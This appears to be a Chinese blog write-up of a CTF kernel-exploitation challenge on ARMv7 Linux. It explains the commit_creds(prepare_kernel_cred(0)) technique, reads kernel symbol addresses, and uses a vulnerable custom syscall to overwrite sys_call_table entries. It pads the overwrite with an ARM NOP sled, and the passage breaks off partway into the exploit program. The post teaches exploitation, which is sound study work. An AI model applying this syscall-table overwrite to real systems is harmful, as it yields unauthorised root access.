  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>连上去就能看到系统环境是 ARMv7 架构，这里有个问题，卸载模块函数并没有还原系统调用号。</p>
<p>完全不懂怎么攻击，看了一个 wp 说是内核漏洞，我靠误闯天家。</p>
<p>贴一下：<a
  href="https://h4ck.kr/?p=2535" rel="nofollow noopener noreferrer" target="_blank"
  >https://h4ck.kr/?p=2535<span style="user-select:none"> ↗</span></a
>
，根据这个 wp 边查资料边学。</p>
<p>这个转大写函数的俩参数能够自己控制，也就实现了任意地址任意写。</p>
<p><strong>基础知识</strong></p>
<p>Linux 有两个世界，用户态和内核态。</p>
<p>普通程序不能：</p>
<ul>
<li>直接读写内核内存</li>
<li>修改进程 uid</li>
<li>操作硬件</li>
<li>随便 mmap 物理内存</li>
</ul>
<p>但是内核可以，所以通过漏洞让内核替我们执行代码就可以了。这就是 kernel pwn</p>
<p>Linux 每个进程都有<code>struct cred</code>，这个结构体保存了进程的身份和权限：<code>uid、gid、euid、egid、capability……</code></p>
<p>内核函数：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">struct</span> <span class="n">cred</span> <span class="o">*</span><span class="nf">prepare_kernel_cred</span><span class="p">(</span><span class="k">struct</span> <span class="n">task_struct</span> <span class="o">*</span><span class="n">daemon</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>作用是创建一个新的 cred，如果参数是 0，那就是生成 root 的 cred，因为<code>NULL</code>默认用 kernel/root 身份。</p>
<p>函数：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl"><span class="nf">commit_creds</span><span class="p">(</span><span class="k">struct</span> <span class="n">cred</span> <span class="o">*</span><span class="n">new</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>作用是把当前进程的 cred 替换掉。</p>
<p>所以许多内核漏洞最后目标就是执行：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl"><span class="nf">commit_creds</span><span class="p">(</span><span class="nf">prepare_kernel_cred</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这样等价于创建 root，安装到当前进程，当前进程是 root 权限。</p>
<p>问题在于普通程序不能调用内核符号，所以 kernel pwn 目标不像用户态那样getshell，而是劫持内核控制流，让 CPU 执行上面那个代码。</p>
<p>exp 需要知道内核符号的地址，所以第一步需要先查看符号：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">/ $ grep prepare_kernel_cred /proc/kallsyms
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">8003f924 T prepare_kernel_cred
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">80447f34 r __ksymtab_prepare_kernel_cred
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="go">8044ff8c r __kstrtab_prepare_kernel_cred
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="go">/ $ grep commit_creds /proc/kallsyms
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="go">8003f56c T commit_creds
</span></span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="go">8044548c r __ksymtab_commit_creds
</span></span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="go">8044ffc8 r __kstrtab_commit_creds
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>因为这俩函数只有一个参数，所以要找到只有一个参数的系统调用函数（参数量匹配），是那种能够设置权限的函数，然后把参数设置为<code>commit creds</code>和<code>prepare_kernel_cred</code>。</p>
<p>这样查：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">/ $ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">...
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="gp">#</span>define __NR_setfsuid			<span class="o">(</span>__NR_SYSCALL_BASE+138<span class="o">)</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="gp">#</span>define __NR_setfsgid			<span class="o">(</span>__NR_SYSCALL_BASE+139<span class="o">)</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="go">...
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>像 open、read 这种用户函数对应的系统调用函数是 sys_open、sys_read 这种，系统要想知道函数对应哪个系统函数，要去函数指针数组里面找。然后索引就是系统调用号。</p>
<p>setfsuid 的系统调用号为 138，setfsgid 的系统调用号为 139。</p>
<p>所以这样覆盖：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl"><span class="nf">syscall</span><span class="p">(</span><span class="mi">223</span><span class="p">,</span> <span class="s">&#34;</span><span class="se">\x24\xf9\x03\x80</span><span class="s">&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">sct</span><span class="p">[</span><span class="mi">138</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="nf">syscall</span><span class="p">(</span><span class="mi">223</span><span class="p">,</span> <span class="s">&#34;</span><span class="se">\x6c\xf5\x03\x80</span><span class="s">&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">sct</span><span class="p">[</span><span class="mi">139</span><span class="p">]);</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>223 是程序自定义的那个函数，就是吧 input 转大写写到 out 的，input 参数我写的 prepare_kernel_cred 地址，out 写的 sct[138]也就是 sys_call_table里的 setfsuid</p>
<p>由于自定义函数把小写转大写，0x61 到 0x7a 内的减 0x20。所以这里面的 <code>\x6c</code>会被减去 0x20变成<code>\x4c</code>，所以要在这 0x20 的空间填充 NOP 操作，让他滑到 6c 那里。</p>
<p>ARM 指令里用<code>mov r3,r3</code>吧，这个寄存器影响不大，而用 r0，程序会崩。转成机器码是：<code>0330A0E1</code>，覆盖代码这样写：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl"><span class="nf">syscall</span><span class="p">(</span><span class="mi">223</span><span class="p">,</span> <span class="s">&#34;</span><span class="se">\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03</span><span class="s">&#34;</span><span class="p">,</span> <span class="mh">0x8003f54c</span><span class="p">);</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>Exp：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;sys/syscall.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="cp">#define 	SYS_CALL_TABLE	0x8000e348
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="kt">unsigned</span> <span class="kt">int</span> <span class="o">**</span><span class="n">sct</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">	<span class="n">sct</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="o">**</span><span class="p">)</span><span class="n">SYS_CALL_TABLE</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl">	<span class="c1">//mov r3, r3... 32bytes
</span></span></span><span class="line"><span class="ln">12</span><span class="cl">	<span class="nf">syscall</span><span class="p">(</span><span class="mi">223</span><span class="p">,</span> <span class="s">&#34;</span><span class="se">\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03</span><span class="s">&#34;</span><span class="p">,</span> <span class="mh">0x8003f54c</span><span class="p">);</span>
